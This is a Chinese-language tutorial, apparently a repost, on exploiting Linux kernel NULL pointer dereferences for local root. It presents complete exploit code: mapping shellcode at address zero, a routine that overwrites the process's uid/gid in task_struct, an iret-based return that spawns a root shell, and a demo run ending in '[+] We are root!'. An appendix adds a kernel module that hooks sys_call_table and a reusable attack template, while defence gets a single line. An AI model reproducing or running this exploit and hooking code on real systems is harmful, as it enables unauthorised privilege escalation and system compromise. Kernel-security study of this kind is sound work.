Exploit The Linux Kernel NULL Pointer Dereference

Author: wzt
Home: http://hi.baidu.com/wzt85
date: 2010/06/13
Version: 0.3

目录:
1、引言
2、NULL Pointer是如何引发OOPS的
3、如何Exploit
4、攻击实验
5、NULL Pointer与Selinux的关系
6、如何防御NULL Pointer漏洞
7、附录

1、引言
在最近一系列的Linux kernel本地溢出漏洞中, 大部分是由于内核引用一个空指针而引发的, 看NULL Pointers的一个示例:
当内核代码引用一个空指针的时候, 内核打印如下OOPS信息, 并死机:

Kernel NULL pointer dereference test.
BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000
printing eip:
00000000
*pde = 00000000
Oops: 0000 [#5]
SMP 
Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache
CPU:    1
EIP:    0060:[<00000000>]    Not tainted VLI
EFLAGS: 00010286   (2.6.18 #34) 
EIP is at _stext+0x3efffd6c/0x3c
eax: 00000029   ebx: f20c85c0   ecx: 00000046   edx: 00000000
esi: 004b5ca0   edi: f20c85c3   ebp: f1afd000   esp: f1afdf9c
ds: 007b   es: 007b   ss: 0068
Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)
Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10 
bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b 
c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000 
Call Trace:
[<f8a81197>] new_kernel_null_pointer_test+0x69/0x76 [sys]
[<c1003d10>] syscall_call+0x7/0xb
Code:  Bad EIP value.
EIP: [<00000000>] _stext+0x3efffd6c/0x3c SS:ESP 0068:f1afdf9c

2、NULL Pointer是如何引发OOPS的

要想exploit这种bug, 就必须先要了解内核是如何处理空指针引用的。
在程序的执行过程中,因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元,即无法完成从虚拟地址到物理地址映射的时候,
CPU 会产生一次缺页异常,从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢,我们分别从用户空间和内核空间来看:

用户空间:
1、 进程访问本身地址空间
---> 访问一个无效的内存地址(如mmap后,又unmap的一块内存)。
---> 由于用户堆栈用完导致的越界访问(用户进程堆栈空间已被用完, 又有一次函数调用发生,这时push/pusha指令被写到进程的堆中。
---> 访问一个还未曾映射的空间。
2、进程访问其他进程空间
3、进程通过非系统调用方式访问内核空间。

内核空间:
1、中断程序,不可延迟程序,临界区代码访问用户空间(可能引起休眠)。
2、内核线程访问访问用户空间。(内核线程不能访问用户空间)。
3、内核访问用户空间(通过系统调用进入内核,有进程的上下文current)
---> 访问当前进程空间。内核写一个只读的内存。
---> 访问其他进程空间。通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。
---> 内核bug或硬件错误访问一个用户空间地址。 如空指针引用bug。
4、访问内核空间。试图写一个没被映射的内核地址。

引起缺页异常可以在用户空间和内核空间中触发, 当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来
判断和处理这些异常。 我们看下内核是怎么处理引用NULL pointer这个异常的:

fastcall void __kprobes do_page_fault(struct pt_regs *regs,
unsigned long error_code)
{
struct task_struct *tsk;
struct mm_struct *mm;
struct vm_area_struct * vma;
unsigned long address;
unsigned long page;
int write, si_code;

/* 先通过cr2寄存器得到引发异常的那个线性地址 */
address = read_cr2();

tsk = current;

si_code = SEGV_MAPERR;

/* 接着判断一下这个线性地址是不是发生于内核空间 */
if (unlikely(address >= TASK_SIZE)) {
/* 如果是内核引用了一内核空间中一处无效地址,则通过vmalloc_fault进行修复 */
if (!(error_code & 0x0000000d) && vmalloc_fault(address) >= 0)
return;
if (notify_page_fault(DIE_PAGE_FAULT, "page fault", regs, error_code, 14,
SIGSEGV) == NOTIFY_STOP)
return;
/* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */
goto bad_area_nosemaphore;
}

/* 以下用于处理线性地址处于用户空间的情况, 注意内核和用户程序都有可能引用一个无效的用户地址 */
if (regs->eflags & (X86_EFLAGS_IF|VM_MASK))
local_irq_enable();

mm = tsk->mm;

/* 中断程序,不可延迟程序,临界区代码不能访问用户空间, 跳到bad_area_nosemaphore继续分析原因 */
if (in_atomic() || !mm)
goto bad_area_nosemaphore;

if (!down_read_trylock(&mm->mmap_sem)) {
/* 内核访问用户空间, 通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。*/
if ((error_code & 4) == 0 &&
!search_exception_tables(regs->eip))
goto bad_area_nosemaphore;
down_read(&mm->mmap_sem);
}
bad_area:
up_read(&mm->mmap_sem);

bad_area_nosemaphore:
/* User mode accesses just cause a SIGSEGV */
if (error_code & 4) {
/* 如果是用户进程访问了其他进程的空间,就杀死当前进程 */
if (is_prefetch(regs, address, error_code))
return;

tsk->thread.cr2 = address;
/* Kernel addresses are always protection faults */
tsk->thread.error_code = error_code | (address >= TASK_SIZE);
tsk->thread.trap_no = 14;
force_sig_info_fault(SIGSEGV, si_code, address, tsk);
return;
}

/* 如果是由于内核自己访问了用户空间的无效地址,则就会引发OOPS, 
if (oops_may_print()) {
/* 如果这个地址小于PAGE_SIZE, 一般为4096字节,内核就认为这是一次空指针操作, 开始打印OOPS信息,杀死当前进程 */
if (address < PAGE_SIZE)
printk(KERN_ALERT "BUG: unable to handle kernel NULL "
"pointer dereference");
else
printk(KERN_ALERT "BUG: unable to handle kernel paging"
" request");
printk(" at virtual address %08lx\n",address);
printk(KERN_ALERT " printing eip:\n");
printk("%08lx\n", regs->eip);
}
page = read_cr3();
page = ((unsigned long *) __va(page))[address >> 22];
if (oops_may_print())
printk(KERN_ALERT "*pde = %08lx\n", page);

force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
}

3、如何Exploit
3-1、攻击原理。

在前面我们知道了内核是如何处理一个NULL pointer引用的: eip停止在0x0处, 打印OOPS信息,然后死机。 我们也知道对于黑客来讲
只有在普通权限下能触发的kernel null pointer漏洞才是有用的,可以帮助黑客有机会提升进程权限。OK, 既然发生OOPS的时候eip停留在
内存0x0地址上, 那么用户进程只要能把shellcode放置在内存0地址上,并且kernel可以去运行用户进程的shellcode而不崩溃,那么就达到了
提权权限的目的。

3-2、将代码映射到0地址内存。
Linux系统提供了一个系统调用mmap, 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
我们看看内核是怎么实现的:
asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,
unsigned long prot, unsigned long flags,
unsigned long fd, unsigned long pgoff)
{
int error = -EBADF;
struct file *file = NULL;
struct mm_struct *mm = current->mm;

flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
/* 注意到如果没设置MAP_ANONYMOUS属性, 就要根据fd来获得文件file指针, 攻击程序设置了MAP_ANONYMOUS,并把fd,offset都设为0
来建立一次匿名映射 */
if (!(flags & MAP_ANONYMOUS)) {
file = fget(fd);
if (!file)
goto out;
}

down_write(&mm->mmap_sem);
/* do_mmap_pgoff才是映射的主体 */
error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);
up_write(&mm->mmap_sem);

if (file)
fput(file);
out:
return error;
}

我们从此处只关心建立匿名映射的过程:
unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flags, unsigned long pgoff)
{
...
/* 用来验证和找到一个可以映射参数addr的内存地址 */
addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC);
...
}

get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len,
unsigned long pgoff, unsigned long flags, int exec)
{
...
/* 如果没设置MAP_FIXED选项,就要从进程地址1G以上的空间中选取一块未用内存进行映射 */
if (!(flags & MAP_FIXED)) {
unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);

if (exec && current->mm->get_unmapped_exec_area)
get_area = current->mm->get_unmapped_exec_area;
else
get_area = current->mm->get_unmapped_area;

if (file && file->f_op && file->f_op->get_unmapped_area)
get_area = file->f_op->get_unmapped_area;
addr = get_area(file, addr, len, pgoff, flags);
if (IS_ERR_VALUE(addr))
return addr;
}
...
}
所以通过以上对内核代码的分析,我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。

3-3、内核为什么可以运行用户空间映射来的代码

0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current
代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前
进程的任何信息包括内核其他代码。

3-4、如何写shellcode
我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode,  此时是内核来执行shellcode, 所以shellcode可以修改当前
进程current的uid, gid字段使其变为0, 从而使当前进程获得root权限,然后在系统调用完成返回用户空间的时候执行一个bash, 来获得可爱的#字符。
在用mmap完成映射的时候,要将shellcode放置在内存0x0处:
*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

即为:NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code - 6呢?
jmp指令后面跟的是偏移地址, 为kernel_code减去jmp指令的下一条指令的地址。 由于是从0x0地址开始算偏移的nop, jmp本身各占一个字节,在加上
偏移地址占用的4个字节, 1+1+4 = 6。
kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0, 所以可以在获得current指针后,暴力搜索current结构,匹配
用户进程的uid和gid,发现后将其改为0,即可。

struct task_struct {
……
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
……
}

void kernel_code()
{
int i;
uint *p = get_current(); // 获得当前进程的current指针。

for (i = 0; i < 1024-13; i++) {
/*  暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && 
p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
// 重新更新堆栈中寄存器值。 替内核执行iret指令, 结束系统调用返回用户空间。
exit_kernel();
}

// 获得当前内核的current指针, 跟内核的实现方式一样
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

// 当发生系统调用中断的时候, 还没进入系统调用服务历程的时候,CPU是自动把user cs, ip, cflags, user ess, xx压入内核堆栈, 
当执行iret返回用户空间的时候将其pop出来, 使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈,重新设置用户空间的
cs值为用户空间的值, eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code, exit_code通常只要执行一个bash即可。
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

注意内核执行完exit_kernel()函数后, 当前进程就以从内核空间切回到用户空间了, 此时进程已经具备uid为0的权限,我们的exploit程序
可以随意的调用c库中的任何函数了。
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
printf("[+] We are root!\n");
execl("/bin/sh", "sh", "-i", NULL);
}

4、实验
在了解了攻击原理和怎样写shellcode后, 我们开始做实验,验证下我们的想法是不是对的。 这里我故意加载一个有NULL pointer引用的
内核模块, 它给当前系统增加了一个系统调用, 然后我们的用户程序引用这个系统调用的时候, 就会发生一次OOPS:

void (*test)(void) = NULL;

asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
char *buff = NULL;
char *p = NULL;

buff = (char *)kmalloc(len + 1, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed.\n");
return 0;
}

if (copy_from_user(buff, buf, len)) {
printk("copy data from user failed.\n");
return 0;
}
buff[len + 1] = '\0';
printk("%d: %s\n", strlen(buff), buff);

printk("Kernel NULL pointer dereference test.\n");
test();

return 1;
}

先装入模块
[root@localhost test]# insmod /root/exploit/module/sys.ko
然后运行exploit程序:
int main(void) {
void *page;

uid = getuid();
gid = getgid();

setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect");
return -1;
}
}
printf("[+] Mmap zero memory ok.\n");

*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

new_kernel_null_pointer_test("abcd", 4);
}
[wzt@localhost ~]$./exp
[+] Mmap zero memory ok.
[+] We are root!
sh-3.2# 
看到可爱的#号了吧, 我们成功了!

5、NULL Pointer与Selinux的关系
略过

6、如何防御Kernel NULL Pointer 0day攻击
/proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.

7. 附录
7-1. hook examle
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>

#include "hook.h"

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

asmlinkage int (*orig_printk)(const char *fmt, ...);
void (*test)(void) = NULL;

unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;

for (; i < 500; i++) {
if ((*(unsigned char*)(system_call_addr + i) == 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
}
}

return ret;
}

asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
char *buff = NULL;
char *p = NULL;

buff = (char *)kmalloc(len + 1, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed.\n");
return 0;
}

if (copy_from_user(buff, buf, len)) {
printk("copy data from user failed.\n");
return 0;
}
buff[len + 1] = '\0';
printk("%d: %s\n", strlen(buff), buff);

printk("Kernel NULL pointer dereference test.\n");
test();

return 1;
}

static int hook_init(void)
{
struct descriptor_idt *pIdt80;

__asm__ volatile ("sidt %0": "=m" (idt48));

pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
if (!system_call_addr) {
DbgPrint("oh, shit! can't find system_call address.\n");
return 0;
}
DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

sys_call_table_addr = get_sct_addr();
if (!sys_call_table_addr) {
DbgPrint("oh, shit! can't find sys_call_table address.\n");
return 0;
}
DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);

sys_call_table = (void **)sys_call_table_addr;

lock_kernel();
CLEAR_CR0
sys_call_table[59] = new_kernel_null_pointer_test;
SET_CR0
unlock_kernel();

printk("install hook ok.\n");
}

static void hook_exit(void)
{
lock_kernel();
CLEAR_CR0

SET_CR0
unlock_kernel();

DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

7-2. kernel null pointer攻击模板。
#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>
#include "syscalls.h"

static unsigned int uid, gid;

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

int (*kernel_printk)(const char *fmt, ...);

#define __NR_new_kernel_null_pointer_test       59

static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len);
int errno;

static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
printf("[+] We are root!\n");
execl("/bin/sh", "sh", "-i", NULL);
}

void test_code(void)
{
kernel_printk = 0xc0424ae3;

kernel_printk("We are in kernel.\n");
}

int main(void) {
void *page;

uid = getuid();
gid = getgid();

setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
//if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE ) < 0) {
perror("mprotect");
return -1;
}
}
printf("[+] Mmap zero memory ok.\n");

*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

new_kernel_null_pointer_test("abcd", 4);
}

[轉]Exploit The Linux Kernel NULL Pointer Dereference的更多相关文章

  1. Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决

    今天在编译好内核模块后,安装内核模块memdev.ko的时候,出现了Unable to handle kernel NULL pointer dereference at virtual addres ...

  2. Unable to handle kernel NULL pointer dereference at virtual address 00000000【转】

    本文转载自:https://blog.csdn.net/hpu11/article/details/72628052 这说明是非法指针的使用,才导致系统出错. [ 1023.510000] Unabl ...

  3. NULL Pointer Dereference(转)

    0x00 漏洞代码 null_dereference.c: #include <linux/init.h> #include <linux/module.h> #include ...

  4. Solution for NULL pointer dereference

    •mmap_min_addr forbids users from mapping low addresses 1. First available in July 2007 2. Several c ...

  5. [轉]Exploit Linux Kernel Slub Overflow

    Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...

  6. Linux Kernel PANIC(三)--Soft Panic/Oops调试及实例分析【转】

    转自:https://blog.csdn.net/gatieme/article/details/73715860 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原 ...

  7. 如何解读Linux Kernel OOPS信息

    OOPS信息解读 root@firefly:~/mnt/module# insmod oops_module.ko [ 867.140514] Unable to handle kernel NULL ...

  8. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  9. 使用 GIT 获得Linux Kernel的代码并查看,追踪历史记录

    Linux kernel  的官方 GIT地址是: http://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git 可以从这个地 ...

随机推荐

  1. Springboot集成Mybatis+PageHelper

    1.Springboot项目引入mysql和mybatis的依赖: <dependency> <groupId>org.mybatis.spring.boot</grou ...

  2. 百度分布式配置管理平台-Disconf

    Disconf介绍 全称:Distributed Configuration Management Platform,即分布式配置管理平台. Disconf专注于各种分布式系统配置管理的通用组件和通用 ...

  3. C++标准库的初探

    1,操作符 << 的原生意义是按位左移,例: 1 << 2; 其底层的意义是将整数 1 按位左移 2 位,即: 0000 0001  ==> 0000 0100: 2,重 ...

  4. undefined,null,!,!=之间的关系

    1.!和!=的关系 2.null 和0的关系

  5. Python的基础类型(int,bool,str):

    Python的基础类型(int,bool,str): 1.int -------> 整形:主要用力进行数字计算 2.string ------>字符串:可以保存少量数据并进行相关的操作 3 ...

  6. vue项目在webpack打包后背景图片显示不了

    加上 publicPath:'../../'即可

  7. Vue小白篇 -Vue 的模板语法

    可以插入任何你想插入的内容,除了 if-else if-else用三元运算符代替 <div id="box"> <!--模板语法--> <h2> ...

  8. 关于GeneXus封装方法Model的方法

     最近 刚从外地出差回来 工作任务不是很重 能够抽点时间记点东西 下午花了2个多钟头尝试了一下GeneXus的封装方法的功能,这里记一下便于自己以后查看.我们在许多项目中或多或少都会有着重复代码编写的 ...

  9. ros节点启动和关闭相关

    Ros node启动与关闭 1. ros运行单位: Ros程序运行的单位是ros node. 2. ros 节点的启动: (1)初始化ros节点:通过调用ros::init()接口实现:可以通过参数指 ...

  10. ECUST_Algorithm_2019_4

    简要题意及解析 1001 第三次作业原题,略. 1002 把一个数转换为二进制. 不断除以\(2\)取余就好了.写递归代码会非常短. 时间复杂度\(O(Tlogn)\) \(T\)是数据组数,\(n\ ...